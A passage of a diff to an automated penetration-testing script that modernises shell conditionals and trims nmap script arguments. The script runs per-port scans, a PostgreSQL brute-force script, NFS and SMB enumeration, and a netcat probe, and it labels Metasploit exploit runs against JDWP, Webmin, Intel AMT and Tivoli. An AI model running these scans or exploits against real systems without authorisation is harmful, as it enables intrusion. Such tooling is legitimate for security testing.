"${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -p 513 -v --script-timeout 90 --script=rlogin*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port513.txt + nmap -A -sV -Pn -p 513 -v --script-timeout 90 --script=rlogin*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port513.txt fi fi -if [ -z "$port_514" ]; +if [[ -z "$port_514" ]]; then echo -e "$OKRED + -- --=[Port 514 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 514 opened... running tests...$RESET" - if [ "$AMAP" = "1" ]; then + if [[ "$AMAP" = "1" ]]; then amap $TARGET 514 -A fi fi -if [ -z "$port_1099" ]; +if [[ -z "$port_1099" ]]; then echo -e "$OKRED + -- --=[Port 1099 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 1099 opened... running tests...$RESET" - if [ "$AMAP" = "1" ]; then + if [[ "$AMAP" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING AMAP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" amap $TARGET 1099 -A fi - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -p 1099 -v --script-timeout 90 --script=rmi-*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port1099.txt + nmap -A -sV -Pn -p 1099 -v --script-timeout 90 --script=rmi-*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port1099.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -886,43 +886,43 @@ else fi fi -if [ -z "$port_1433" ]; +if [[ -z "$port_1433" ]]; then echo -e "$OKRED + -- --=[Port 1433 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 1433 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=ms-sql*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 1433 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port1433.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=ms-sql*,/usr/share/nmap/scripts/vulners -p 1433 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port1433.txt fi fi -if [ -z "$port_2049" ]; +if [[ -z "$port_2049" ]]; then echo -e "$OKRED + -- --=[Port 2049 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 2049 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=nfs*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 2049 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port2049.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=nfs*,/usr/share/nmap/scripts/vulners -p 2049 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port2049.txt fi - if [ "$RPC_INFO" = "1" ]; then + if [[ "$RPC_INFO" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING RPCINFO $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" rpcinfo -p $TARGET fi - if [ "$SHOW_MOUNT" = "1" ]; then + if [[ "$SHOW_MOUNT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING SHOWMOUNT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" showmount -e $TARGET fi - if [ "$SMB_ENUM" = "1" ]; then + if [[ "$SMB_ENUM" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED CHECKING FOR NULL SHARES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -930,7 +930,7 @@ else fi fi -if [ -z "$port_2181" ]; +if [[ -z "$port_2181" ]]; then echo -e "$OKRED + -- --=[Port 2181 closed... skipping.$RESET" else @@ -941,18 +941,18 @@ else echo stat | nc $TARGET 2181 | tee $LOOT_DIR/output/zookeeper-$TARGET-port2181.txt fi -if [ -z "$port_3306" ]; +if [[ -z "$port_3306" ]]; then echo -e "$OKRED + -- --=[Port 3306 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 3306 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=mysql*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 3306 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3306.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=mysql*,/usr/share/nmap/scripts/vulners -p 3306 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3306.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -962,7 +962,7 @@ else fi fi -if [ -z "$port_3310" ]; +if [[ -z "$port_3310" ]]; then echo -e "$OKRED + -- --=[Port 3310 closed... skipping.$RESET" else @@ -970,36 +970,36 @@ else echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - if [ "$NMAP_SCRIPTS" = "1" ]; then - nmap -A -p 3310 -Pn -sV -v --script-timeout 90 --script=clamav-exec,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3310.txt + if [[ "$NMAP_SCRIPTS" = "1" ]]; then + nmap -A -p 3310 -Pn -sV -v --script-timeout 90 --script=clamav-exec,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3310.txt fi fi -if [ -z "$port_3128" ]; +if [[ -z "$port_3128" ]]; then echo -e "$OKRED + -- --=[Port 3128 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 3128 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -p 3128 -Pn -sV -v --script-timeout 90 --script=*proxy*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3128.txt + nmap -A -p 3128 -Pn -sV -v --script-timeout 90 --script=*proxy*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3128.txt fi fi -if [ -z "$port_3389" ]; +if [[ -z "$port_3389" ]]; then echo -e "$OKRED + -- --=[Port 3389 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 3389 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=rdp-*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 3389 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3389.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=rdp-*,/usr/share/nmap/scripts/vulners -p 3389 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3389.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1019,18 +1019,18 @@ else rdesktop $TARGET & fi -if [ -z "$port_3632" ]; +if [[ -z "$port_3632" ]]; then echo -e "$OKRED + -- --=[Port 3632 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 3632 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=distcc-*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 3632 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3632.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=distcc-*,/usr/share/nmap/scripts/vulners -p 3632 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port3632.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1040,18 +1040,18 @@ else fi fi -if [ -z "$port_5432" ]; +if [[ -z "$port_5432" ]]; then echo -e "$OKRED + -- --=[Port 5432 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 5432 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=pgsql-brute,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 5432 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port5432.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=pgsql-brute,/usr/share/nmap/scripts/vulners -p 5432 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port5432.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1061,7 +1061,7 @@ else fi fi -if [ -z "$port_5555" ]; +if [[ -z "$port_5555" ]]; then echo -e "$OKRED + -- --=[Port 5555 closed... skipping.$RESET" else @@ -1073,31 +1073,31 @@ else adb shell pm list packages fi -if [ -z "$port_5800" ]; +if [[ -z "$port_5800" ]]; then echo -e "$OKRED + -- --=[Port 5800 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 5800 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=vnc*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 5800 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port5800.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=vnc*,/usr/share/nmap/scripts/vulners -p 5800 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port5800.txt fi fi -if [ -z "$port_5900" ]; +if [[ -z "$port_5900" ]]; then echo -e "$OKRED + -- --=[Port 5900 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 5900 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -v --script-timeout 90 --script=vnc*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 5900 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port5900.txt + nmap -A -sV -v --script-timeout 90 --script=vnc*,/usr/share/nmap/scripts/vulners -p 5900 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port5900.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1107,18 +1107,18 @@ else fi fi -if [ -z "$port_5984" ]; +if [[ -z "$port_5984" ]]; then echo -e "$OKRED + -- --=[Port 5984 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 5984 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=couchdb*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 5984 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port5984.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=couchdb*,/usr/share/nmap/scripts/vulners -p 5984 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port5984.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1134,18 +1134,18 @@ else fi fi -if [ -z "$port_6000" ]; +if [[ -z "$port_6000" ]]; then echo -e "$OKRED + -- --=[Port 6000 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 6000 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=x11*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 6000 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port6000.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=x11*,/usr/share/nmap/scripts/vulners -p 6000 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port6000.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1155,18 +1155,18 @@ else fi fi -if [ -z "$port_6667" ]; +if [[ -z "$port_6667" ]]; then echo -e "$OKRED + -- --=[Port 6667 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 6667 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -v --script-timeout 90 --script=irc*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners -p 6667 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port6667.txt + nmap -A -sV -Pn -v --script-timeout 90 --script=irc*,/usr/share/nmap/scripts/vulners -p 6667 $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port6667.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1176,18 +1176,18 @@ else fi fi -if [ -z "$port_7001" ]; +if [[ -z "$port_7001" ]]; then echo -e "$OKRED + -- --=[Port 7001 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 7001 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -sV -p 7001 -v --script-timeout 90 --script=weblogic-t3-info.nse,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port7001.txt + nmap -sV -p 7001 -v --script-timeout 90 --script=weblogic-t3-info.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port7001.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1200,12 +1200,12 @@ else fi fi -if [ -z "$port_8000" ]; +if [[ -z "$port_8000" ]]; then echo -e "$OKRED + -- --=[Port 8000 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 8000 opened... running tests...$RESET" - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING JAVA JDWP DEBUG EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1215,24 +1215,24 @@ else fi fi -if [ -z "$port_8001" ]; +if [[ -z "$port_8001" ]]; then echo -e "$OKRED + -- --=[Port 8001 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 8001 opened... running tests...$RESET" - if [ "$AMAP" = "1" ]; then + if [[ "$AMAP" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING AMAP $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" amap $TARGET 8001 -A fi - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -A -sV -Pn -p 8001 -v --script-timeout 90 --script=rmi-*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port8001.txt + nmap -A -sV -Pn -p 8001 -v --script-timeout 90 --script=rmi-*,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port8001.txt fi - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING METASPLOIT MODULES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1245,12 +1245,12 @@ else fi fi -if [ -z "$port_9495" ]; +if [[ -z "$port_9495" ]]; then echo -e "$OKRED + -- --=[Port 9495 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 9495 opened... running tests...$RESET" - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING IBM TIVOLI ENDPOINT OVERFLOW EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1260,12 +1260,12 @@ else fi fi -if [ -z "$port_10000" ]; +if [[ -z "$port_10000" ]]; then echo -e "$OKRED + -- --=[Port 10000 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 10000 opened... running tests...$RESET" - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING WEBMIN FILE DISCLOSURE EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1281,12 +1281,12 @@ else fi fi -if [ -z "$port_16992" ]; +if [[ -z "$port_16992" ]]; then echo -e "$OKRED + -- --=[Port 16992 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 16992 opened... running tests...$RESET" - if [ "$METASPLOIT_EXPLOIT" = "1" ]; then + if [[ "$METASPLOIT_EXPLOIT" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING INTEL AMT AUTH BYPASS EXPLOIT $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" @@ -1296,64 +1296,64 @@ else fi fi -if [ -z "$port_27017" ]; +if [[ -z "$port_27017" ]]; then echo -e "$OKRED + -- --=[Port 27017 closed... skipping.$RESET" else echo -e "$OKORANGE + -- --=[Port 27017 opened... running tests...$RESET" - if [ "$NMAP_SCRIPTS" = "1" ]; then + if [[ "$NMAP_SCRIPTS" = "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" - nmap -sV -p 27017 -Pn -v --script-timeout 90 --script=mongodb*,/usr/share/nmap/scripts/vulscan/vulscan.nse,/usr/share/nmap/scripts/vulners $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port27017.txt + nmap -sV -p 27017 -Pn -v --script-timeout 90 --script=mongodb*,/usr/share/nmap/scripts/vulners $TARGET | tee 